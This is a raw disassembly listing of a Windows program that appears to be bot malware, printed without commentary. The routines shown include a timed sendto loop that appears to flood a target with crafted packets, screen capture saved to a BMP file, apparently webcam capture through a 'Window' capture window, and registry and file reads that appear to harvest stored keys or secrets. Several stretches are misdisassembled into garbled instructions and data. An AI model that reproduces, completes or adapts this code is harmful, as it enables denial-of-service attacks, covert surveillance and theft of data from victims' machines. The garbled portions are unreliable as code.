mov ds:word_4D139A, ax
mov ds:dword_4D13C0, edi
mov ds:byte_4D13C4, bl
mov ds:byte_4D13C5, 6
call ds:dword_4CDBF8 ; htons
mov ds:word_4D13C6, ax
mov ax, ds:word_4D139A
mov ds:word_4D13AC, 2
mov ds:dword_4D13B0, edi
mov ds:word_4D13AE, ax
mov [ebp-4], ebx
jmp short loc_4150B1
; ---------------------------------------------------------------------------
loc_4150AC: ; CODE XREF: seg000:00415181j
mov esi, 0FFFFh
loc_4150B1: ; CODE XREF: seg000:004150AAj
cmp [ebp-4], ebx
push esi
push ebx
jnz short loc_4150E5
call sub_418872
pop ecx
pop ecx
push eax
call ds:dword_4CDBF8 ; htons
mov ds:word_4D1398, ax
mov eax, ds:dword_4D1390
mov ds:dword_4D13BC, eax
mov ds:byte_4D13A5, 2
mov ds:dword_4D13A0, ebx
jmp short loc_415102
; ---------------------------------------------------------------------------
loc_4150E5: ; CODE XREF: seg000:004150B6j
mov ds:byte_4D13A5, 10h
call sub_418872
pop ecx
pop ecx
push eax
call ds:dword_4CDBF8 ; htons
movzx eax, ax
mov ds:dword_4D13A0, eax
loc_415102: ; CODE XREF: seg000:004150E3j
inc ds:word_4D1388
inc ds:dword_4D139C
mov ax, ds:word_4D139A
push 5
pop ecx
mov esi, offset word_4D1398
mov edi, offset dword_4D13C8
mov ds:word_4D138E, bx
mov ds:word_4D13A8, bx
push 14h
rep movsd
mov esi, offset byte_4D1384
mov ds:word_4D13AE, ax
push esi
call sub_40AB51
push 20h
push offset dword_4D13BC
mov ds:word_4D138E, ax
call sub_40AB51
add esp, 10h
mov ds:word_4D13A8, ax
push 10h
push offset word_4D13AC
push ebx
push 28h
push esi
push ds:dword_4D13E0
call ds:dword_4CDC5C ; sendto
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 3FFh
jl loc_4150AC
call ds:dword_4280A8 ; GetTickCount
sub eax, [ebp-8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+0Ch]
ja short loc_4151AC
push dword ptr [ebp+10h]
call ds:dword_428064 ; Sleep
jmp loc_414F70
; ---------------------------------------------------------------------------
loc_4151AC: ; CODE XREF: seg000:0041519Cj
pop edi
pop esi
mov eax, offset dword_4D13E8
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151B6 proc near ; CODE XREF: seg000:00408BF9p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43FDB8
mov edi, 0B8h
loc_4151CA: ; CODE XREF: sub_4151B6+33j
cmp byte ptr [esi], 0
jz short loc_4151ED
push [ebp+arg_0]
push esi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_4151ED
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_440938
jl short loc_4151CA
jmp short loc_41522F
; ---------------------------------------------------------------------------
loc_4151ED: ; CODE XREF: sub_4151B6+17j
; sub_4151B6+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43FDB8[esi]
push ebx
call sub_41B780
push 17h
push [ebp+arg_0]
push ebx
call sub_41B7E0
push 9Fh
lea eax, dword_43FDD0[esi]
push [ebp+arg_4]
push eax
call sub_41B7E0
add esp, 24h
inc ds:dword_42A488
pop ebx
loc_41522F: ; CODE XREF: sub_4151B6+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_4151B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415236 proc near ; CODE XREF: seg000:00404395p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_438D94
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 14h
xor edi, edi
mov esi, offset dword_43FDB8
loc_415260: ; CODE XREF: sub_415236+72j
cmp byte ptr [esi], 0
jz short loc_41529B
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_438D80
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41BB70
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 2Ch
loc_41529B: ; CODE XREF: sub_415236+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_440938
jl short loc_415260
pop edi
pop esi
leave
retn
sub_415236 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4152AE proc near ; CODE XREF: seg000:00401E8Dp
; seg000:0040209Dp ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call ds:dword_428130 ; GetLocalTime
mov ebx, offset dword_4D57E8
mov edi, 80h
mov esi, offset dword_4D17E8
loc_4152D0: ; CODE XREF: sub_4152AE+3Dj
cmp byte ptr [ebx], 0
jz short loc_4152E7
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41B7E0
add esp, 0Ch
loc_4152E7: ; CODE XREF: sub_4152AE+25j
sub ebx, edi
cmp ebx, esi
jge short loc_4152D0
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41BB70
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_4152AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415322 proc near ; CODE XREF: sub_401875+F7p
; seg000:loc_408972p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41C380
lea eax, [ebp+var_80]
push eax
call sub_4152AE
add esp, 14h
leave
retn
sub_415322 endp
; =============== S U B R O U T I N E =======================================
sub_41534E proc near ; CODE XREF: seg000:0040428Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4D17E8
xor ecx, ecx
loc_415355: ; CODE XREF: sub_41534E+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4D57E8
jl short loc_415355
cmp [esp+arg_C], ecx
jnz short loc_415383
push ecx
push [esp+4+arg_8]
push offset dword_438DE0
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_409966
add esp, 14h
loc_415383: ; CODE XREF: sub_41534E+19j
push offset dword_438DCC
call sub_4152AE
pop ecx
retn
sub_41534E endp
; ---------------------------------------------------------------------------
byte_41538F db 55h ; DATA XREF: seg000:00404340o
; ---------------------------------------------------------------------------
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+8]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp-11Ch]
xor edx, edx
rep movsd
xor edi, edi
mov dword ptr [ebp-8], 80h
inc edi
cmp [ebp-10h], edx
mov [ebp-4], edx
mov [eax+110h], edi
jnz short loc_4153E2
push edx
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push offset dword_438E10
push eax
push dword ptr [ebp-11Ch]
call sub_409966
add esp, 14h
loc_4153E2: ; CODE XREF: seg000:004153C2j
cmp byte ptr [ebp-98h], 0
jz short loc_415402
lea eax, [ebp-98h]
push eax
call sub_41B969
test eax, eax
pop ecx
mov [ebp-4], eax
jz short loc_415402
mov [ebp-8], eax
loc_415402: ; CODE XREF: seg000:004153E9j
; seg000:004153FDj
and dword ptr [ebp+8], 0
mov esi, offset dword_4D17E8
loc_41540B: ; CODE XREF: seg000:00415463j
mov eax, [ebp+8]
cmp eax, [ebp-8]
jge short loc_415465
cmp byte ptr [esi], 0
jz short loc_415454
cmp byte ptr [ebp-98h], 0
jz short loc_41543A
cmp dword ptr [ebp-4], 0
jnz short loc_41543A
lea eax, [ebp-98h]
push eax
push esi
call sub_41826C
pop ecx
test eax, eax
pop ecx
jz short loc_415454
loc_41543A: ; CODE XREF: seg000:0041541Fj
; seg000:00415425j
push edi
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push esi
push eax
push dword ptr [ebp-11Ch]
call sub_409966
add esp, 14h
loc_415454: ; CODE XREF: seg000:00415416j
; seg000:00415438j
inc dword ptr [ebp+8]
add esi, 80h
cmp esi, offset dword_4D57E8
jl short loc_41540B
loc_415465: ; CODE XREF: seg000:00415411j
lea eax, [ebp-31Ch]
push offset dword_438DF4
push eax
call sub_41BA76
xor esi, esi
pop ecx
cmp [ebp-10h], esi
pop ecx
jnz short loc_41549F
push esi
lea eax, [ebp-31Ch]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-118h]
push eax
push dword ptr [ebp-11Ch]
call sub_409966
add esp, 14h
loc_41549F: ; CODE XREF: seg000:0041547Dj
lea eax, [ebp-31Ch]
push eax
call sub_4152AE
push dword ptr [ebp-18h]
call sub_40B287
pop ecx
pop ecx
push esi
; ---------------------------------------------------------------------------
dw 45E8h
dd 5E006FABh
; ---------------------------------------------------------------------------
pop edi
pop esi
loc_4154BE: ; CODE XREF: seg000:00408D3Ap
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call ds:dword_4CDBE4 ; CreateDCA
mov edi, eax
cmp edi, esi
mov [ebp-20h], edi
jz loc_4156F2
push 8
push edi
call ds:dword_4CDC00 ; GetDeviceCaps
push 0Ah
push edi
mov [ebp-8], eax
call ds:dword_4CDC00 ; GetDeviceCaps
push 0Ch
push edi
mov [ebp-0Ch], eax
call ds:dword_4CDC00 ; GetDeviceCaps
cmp eax, 8
mov [ebp-10h], eax
ja short loc_415520
push 18h
push edi
call ds:dword_4CDC00 ; GetDeviceCaps
mov ebx, 100h
jmp short loc_415522
; ---------------------------------------------------------------------------
loc_415520: ; CODE XREF: seg000:0041550Ej
xor ebx, ebx
loc_415522: ; CODE XREF: seg000:0041551Ej
push edi
call ds:dword_4CDC44 ; CreateCompatibleDC
cmp eax, esi
mov [ebp-4], eax
jz loc_4156D7
mov eax, [ebp-8]
push esi
mov [ebp-80h], eax
mov eax, [ebp-0Ch]
mov [ebp-7Ch], eax
mov ax, [ebp-10h]
mov [ebp-76h], ax
lea eax, [ebp-18h]
push esi
push eax
lea eax, [ebp-84h]
push 1
push eax
push edi
mov dword ptr [ebp-84h], 28h
mov word ptr [ebp-78h], 1
mov [ebp-74h], esi
mov [ebp-70h], esi
mov [ebp-6Ch], esi
mov [ebp-68h], esi
mov [ebp-64h], ebx
mov [ebp-60h], ebx
call ds:dword_4CDC3C ; CreateDIBSection
cmp eax, esi
mov [ebp-1Ch], eax
jz loc_4156E2
push eax
push dword ptr [ebp-4]
call ds:dword_4CDAC8 ; SelectObject
cmp eax, esi
jz loc_4156E2
cmp eax, 0FFFFFFFFh
jz loc_4156E2
push 0CC0020h
push esi
push esi
push edi
push dword ptr [ebp-0Ch]
push dword ptr [ebp-8]
push esi
push esi
push dword ptr [ebp-4]
call ds:dword_4CDC40 ; BitBlt
test eax, eax
jz loc_4156E2
cmp ebx, esi
jz short loc_4155DF
lea eax, [ebp-484h]
push eax
push ebx
push esi
push dword ptr [ebp-4]
call ds:dword_4CDB1C ; GetDIBColorTable
mov ebx, eax
loc_4155DF: ; CODE XREF: seg000:004155C9j
mov edi, [ebp-10h]
mov ecx, [ebp-8]
imul edi, [ebp-0Ch]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp-8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp-26h], eax
mov eax, [ebp-0Ch]
push esi
push esi
push 40000000h
push dword ptr [ebp+8]
mov [ebp-50h], eax
mov ax, [ebp-10h]
mov word ptr [ebp-30h], 4D42h
mov [ebp-2Eh], edx
mov [ebp-2Ah], si
mov [ebp-28h], si
mov dword ptr [ebp-58h], 28h
mov [ebp-54h], ecx
mov word ptr [ebp-4Ch], 1
mov [ebp-4Ah], ax
mov [ebp-48h], esi
mov [ebp-44h], esi
mov [ebp-40h], esi
mov [ebp-3Ch], esi
mov [ebp-38h], ebx
mov [ebp-34h], esi
call ds:dword_4280EC ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz short loc_4156C2
lea ecx, [ebp-14h]
push esi
push ecx
lea ecx, [ebp-30h]
push 0Eh
push ecx
push eax
call near ptr 0B10000h
push ss
lea eax, [ebp-14h]
push esi
push eax
lea eax, [ebp-58h]
push 28h
push eax
push dword ptr [ebp+8]
call near ptr 0B10000h
js short near ptr loc_4156C2+2
fidiv word ptr [eax+ebx-73h]
inc ebp
in al, dx
push esi
push eax
lea eax, [ebp-484h]
push dword ptr [ebp-8]
push eax
push dword ptr [ebp+8]
call near ptr 0B10000h
nop
lea eax, [ebp-14h]
push esi
push eax
push edi
push dword ptr [ebp-18h]
push dword ptr [ebp+8]
call near ptr 0B10000h
mov ebp, 0FF0875FFh
adc eax, offset dword_42806C
xor esi, esi
inc esi
loc_4156C2: ; CODE XREF: seg000:00415660j
; seg000:00415687j
push dword ptr [ebp-1Ch]
call ds:dword_4CDB54 ; DeleteObject
push dword ptr [ebp-4]
call ds:dword_4CDAB4 ; DeleteDC
mov edi, [ebp-20h]
loc_4156D7: ; CODE XREF: seg000:0041552Ej
push edi
call ds:dword_4CDAB4 ; DeleteDC
mov eax, esi
jmp short loc_4156F4
; ---------------------------------------------------------------------------
loc_4156E2: ; CODE XREF: seg000:00415585j
; seg000:00415597j ...
push edi
call ds:dword_4CDAB4 ; DeleteDC
push dword ptr [ebp-4]
call ds:dword_4CDAB4 ; DeleteDC
loc_4156F2: ; CODE XREF: seg000:004154E1j
xor eax, eax
loc_4156F4: ; CODE XREF: seg000:004156E0j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4156F9 proc near ; CODE XREF: seg000:00408E61p
var_34 = byte ptr -34h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
xor esi, esi
push edi
inc esi
xor ebx, ebx
push esi
push ds:dword_4D57E8
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call ds:dword_4CDB48
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_415737
mov eax, esi
jmp loc_4158ED
; ---------------------------------------------------------------------------
loc_415737: ; CODE XREF: sub_4156F9+35j
push edi
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_415754
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call ds:dword_4CDC54 ; SendMessageA
jmp short loc_415756
; ---------------------------------------------------------------------------
loc_415754: ; CODE XREF: sub_4156F9+47j
xor eax, eax
loc_415756: ; CODE XREF: sub_4156F9+59j
cmp eax, ebx
jnz short loc_415761
loc_41575A: ; CODE XREF: sub_4156F9+88j
; sub_4156F9+BCj
mov ebx, esi
jmp loc_4158E2
; ---------------------------------------------------------------------------
loc_415761: ; CODE XREF: sub_4156F9+5Fj
push edi
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_41577E
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call ds:dword_4CDC54 ; SendMessageA
loc_41577E: ; CODE XREF: sub_4156F9+71j
cmp [ebp+var_20], ebx
jz short loc_41575A
push edi
call ds:dword_4CDB98 ; IsWindow
test eax, eax
mov edi, 42Ch
jz short loc_4157A4
push ebx
push ebx
push edi
push [ebp+var_4]
call ds:dword_4CDC54 ; SendMessageA
mov [ebp+arg_4], eax
jmp short loc_4157A7
; ---------------------------------------------------------------------------
loc_4157A4: ; CODE XREF: sub_4156F9+98j
mov [ebp+arg_4], ebx
loc_4157A7: ; CODE XREF: sub_4156F9+A9j
push [ebp+arg_4]
call sub_41B6C5
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jz short loc_41575A
push [ebp+arg_4]
call sub_41B6C5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4157CE
xor ebx, ebx
inc ebx
jmp loc_4158E2
; ---------------------------------------------------------------------------
loc_4157CE: ; CODE XREF: sub_4156F9+CBj
push [ebp+var_4]
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_4157EB
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call ds:dword_4CDC54 ; SendMessageA
loc_4157EB: ; CODE XREF: sub_4156F9+E0j
push [ebp+arg_4]
push [ebp+var_8]
push esi
call sub_41C500
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_415806
mov ecx, 280h
loc_415806: ; CODE XREF: sub_4156F9+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_415812
mov eax, 1E0h
loc_415812: ; CODE XREF: sub_4156F9+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call ds:dword_4CDB98 ; IsWindow
test eax, eax
mov edi, 42Dh
jz short loc_41585C
push esi
push [ebp+arg_4]
push edi
push [ebp+var_4]
call ds:dword_4CDC54 ; SendMessageA
loc_41585C: ; CODE XREF: sub_4156F9+153j
push [ebp+var_4]
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_415879
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call ds:dword_4CDC54 ; SendMessageA
loc_415879: ; CODE XREF: sub_4156F9+16Ej
push [ebp+var_4]
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_415898
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call ds:dword_4CDC54 ; SendMessageA
loc_415898: ; CODE XREF: sub_4156F9+18Bj
push [ebp+var_4]
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_4158B5
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call ds:dword_4CDC54 ; SendMessageA
loc_4158B5: ; CODE XREF: sub_4156F9+1AAj
push [ebp+var_8]
call sub_41B2A1
push esi
call sub_41B2A1
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_4158E2
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call ds:dword_4CDC54 ; SendMessageA
loc_4158E2: ; CODE XREF: sub_4156F9+63j
; sub_4156F9+D0j ...
push [ebp+var_4]
call ds:dword_4CDCA8 ; DestroyWindow
mov eax, ebx
loc_4158ED: ; CODE XREF: sub_4156F9+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4156F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4158F2 proc near ; CODE XREF: seg000:00408F1Dp
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
xor esi, esi
push edi
inc esi
xor ebx, ebx
push esi
push ds:dword_4D57E8
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call ds:dword_4CDB48
mov edi, eax
cmp edi, ebx
jnz short loc_415930
mov eax, esi
jmp loc_415B2C
; ---------------------------------------------------------------------------
loc_415930: ; CODE XREF: sub_4158F2+35j
push edi
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_41594D
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call ds:dword_4CDC54 ; SendMessageA
jmp short loc_41594F
; ---------------------------------------------------------------------------
loc_41594D: ; CODE XREF: sub_4158F2+47j
xor eax, eax
loc_41594F: ; CODE XREF: sub_4158F2+59j
cmp eax, ebx
jnz short loc_41595A
loc_415953: ; CODE XREF: sub_4158F2+8Bj
; sub_4158F2+BCj
mov ebx, esi
jmp loc_415B23
; ---------------------------------------------------------------------------
loc_41595A: ; CODE XREF: sub_4158F2+5Fj
push edi
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_41597A
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call ds:dword_4CDC54 ; SendMessageA
loc_41597A: ; CODE XREF: sub_4158F2+71j
cmp [ebp+var_7C], ebx
jz short loc_415953
push edi
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_41599D
push ebx
push ebx
push 42Ch
push edi
call ds:dword_4CDC54 ; SendMessageA
mov [ebp+arg_4], eax
jmp short loc_4159A0
; ---------------------------------------------------------------------------
loc_41599D: ; CODE XREF: sub_4158F2+96j
mov [ebp+arg_4], ebx
loc_4159A0: ; CODE XREF: sub_4158F2+A9j
push [ebp+arg_4]
call sub_41B6C5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_415953
push [ebp+arg_4]
call sub_41B6C5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4159C7
xor ebx, ebx
inc ebx
jmp loc_415B23
; ---------------------------------------------------------------------------
loc_4159C7: ; CODE XREF: sub_4158F2+CBj
push edi
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_4159E4
push [ebp+var_4]
push [ebp+arg_4]
push 42Ch
push edi
call ds:dword_4CDC54 ; SendMessageA
loc_4159E4: ; CODE XREF: sub_4158F2+DEj
push [ebp+arg_4]
push [ebp+var_4]
push esi
call sub_41C500
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_4159FF
mov ecx, 0A0h
loc_4159FF: ; CODE XREF: sub_4158F2+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_415A09
push 78h
pop eax
loc_415A09: ; CODE XREF: sub_4158F2+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_415A4E
push esi
push [ebp+arg_4]
push 42Dh
push edi
call ds:dword_4CDC54 ; SendMessageA
loc_415A4E: ; CODE XREF: sub_4158F2+14Aj
push edi
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_415A6B
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call ds:dword_4CDC54 ; SendMessageA
loc_415A6B: ; CODE XREF: sub_4158F2+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_415AA9
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call ds:dword_4CDC54 ; SendMessageA
loc_415AA9: ; CODE XREF: sub_4158F2+1A3j
push edi
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_415AC4
push [ebp+arg_0]
push ebx
push 414h
push edi
call ds:dword_4CDC54 ; SendMessageA
loc_415AC4: ; CODE XREF: sub_4158F2+1C0j
push edi
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_415ADD
push ebx
push ebx
push 43Eh
push edi
call ds:dword_4CDC54 ; SendMessageA
loc_415ADD: ; CODE XREF: sub_4158F2+1DBj
push edi
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_415AFA
push [ebp+var_4]
push [ebp+arg_4]
push 42Dh
push edi
call ds:dword_4CDC54 ; SendMessageA
loc_415AFA: ; CODE XREF: sub_4158F2+1F4j
push [ebp+var_4]
call sub_41B2A1
push esi
call sub_41B2A1
pop ecx
pop ecx
push edi
call ds:dword_4CDB98 ; IsWindow
test eax, eax
jz short loc_415B23
push ebx
push ebx
push 40Bh
push edi
call ds:dword_4CDC54 ; SendMessageA
loc_415B23: ; CODE XREF: sub_4158F2+63j
; sub_4158F2+D0j ...
push edi
call ds:dword_4CDCA8 ; DestroyWindow
mov eax, ebx
loc_415B2C: ; CODE XREF: sub_4158F2+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4158F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415B31 proc near ; CODE XREF: seg000:004040A2p
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp ds:off_438E44, ebx
mov [ebp+var_C], 80h
jz loc_415CDD
push esi
push edi
mov eax, offset off_438E44
mov esi, offset dword_438E50
mov edi, offset dword_43A05C
loc_415B61: ; CODE XREF: sub_415B31+1A4j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call ds:dword_4CDC68 ; RegOpenKeyExA
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call ds:dword_4CDAF8 ; RegQueryValueExA
test eax, eax
jnz loc_415CC4
mov eax, [esi]
cmp eax, ebx
jz loc_415C88
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset dword_42AAE4
push eax
call sub_41BA76
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_41B6B2
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_415CC4
push eax
jmp short loc_415BF1
; ---------------------------------------------------------------------------
loc_415BDC: ; CODE XREF: sub_415B31+D0j
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jz short loc_415C05
push [ebp+var_8]
loc_415BF1: ; CODE XREF: sub_415B31+A9j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_41BD3F
add esp, 0Ch
test eax, eax
jnz short loc_415BDC
jmp short loc_415C7D
; ---------------------------------------------------------------------------
loc_415C05: ; CODE XREF: sub_415B31+BBj
push 3Dh
push dword ptr [esi+4]
call sub_41C1A0
pop ecx
test eax, eax
pop ecx
lea eax, [ebp+var_70]
jz short loc_415C44
push offset asc_43A058 ; "="
push eax
call sub_41C2E4
push offset asc_43A058 ; "="
push ebx
call sub_41C2E4
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41BA76
add esp, 20h
jmp short loc_415C58
; ---------------------------------------------------------------------------
loc_415C44: ; CODE XREF: sub_415B31+E5j
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41BA76
add esp, 10h
loc_415C58: ; CODE XREF: sub_415B31+111j
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
lea eax, [ebp+var_2F0]
push eax
call sub_4152AE
add esp, 18h
loc_415C7D: ; CODE XREF: sub_415B31+D2j
push [ebp+var_8]
call sub_41B24B
pop ecx
jmp short loc_415CC4
; ---------------------------------------------------------------------------
loc_415C88: ; CODE XREF: sub_415B31+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41BA76
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
lea eax, [ebp+var_2F0]
push eax
call sub_4152AE
add esp, 28h
loc_415CC4: ; CODE XREF: sub_415B31+60j
; sub_415B31+A2j ...
push [ebp+var_4]
call ds:dword_4CDBD4 ; RegCloseKey
add esi, 18h
lea eax, [esi-0Ch]
cmp [eax], ebx
jnz loc_415B61
pop edi
pop esi
loc_415CDD: ; CODE XREF: sub_415B31+19j
pop ebx
leave
retn
sub_415B31 endp
; ---------------------------------------------------------------------------
dword_415CE0 dd 0B8EC8B55h, 11B4h, 6023E8h, 8458B00h, 6A575653h, 59F08B6Dh
; DATA XREF: seg000:004024CEo
dd 0FE4CBD8Dh, 0A5F3FFFFh, 33EC75FFh, 0B08946F6h, 1B0h
dd 0FE54858Dh, 0E850FFFFh, 1A41h, 8359D88Bh, 7559FFFBh
